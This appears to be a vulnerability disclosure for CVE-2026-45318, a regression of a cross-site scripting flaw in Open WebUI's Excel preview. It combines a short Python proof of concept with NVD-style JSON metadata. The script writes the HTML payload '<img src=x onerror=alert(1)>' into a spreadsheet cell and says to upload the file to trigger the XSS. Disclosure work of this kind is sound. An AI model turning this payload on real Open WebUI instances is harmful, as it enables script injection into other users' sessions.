CVE-2026-45318

import xlsxwriter # Create a proof of concept Excel file filename = 'cve_2026_45318_poc.xlsx' workbook = xlsxwriter.Workbook(filename) worksheet = workbook.add_worksheet() # Inject malicious payload into a cell # The application renders this as HTML via {@html excelHtml} without sanitization payload = '<img src=x onerror=alert(1)>' worksheet.write('A1', payload) workbook.close() print(f"[+] PoC file generated: {filename}") print("[+] Upload this file to Open WebUI and open the preview to trigger the XSS.")

{"cve": {"id": "CVE-2026-45318", "sourceIdentifier": "[email protected]", "published": "2026-05-15T22:16:54.653", "lastModified": "2026-05-15T22:16:54.653", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, his advisory tracks a regression of the original Excel-preview XSS (CVE-2026-44549). The same root cause — XLSX.utils.sheet_to_html() output rendered via {@html excelHtml} without DOMPurify — was reintroduced sometime after v0.8.0 and is exploitable again This vulnerability is fixed in 0.9.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-hcwp-82g6-8wxc", "source": "[email protected]"}]}}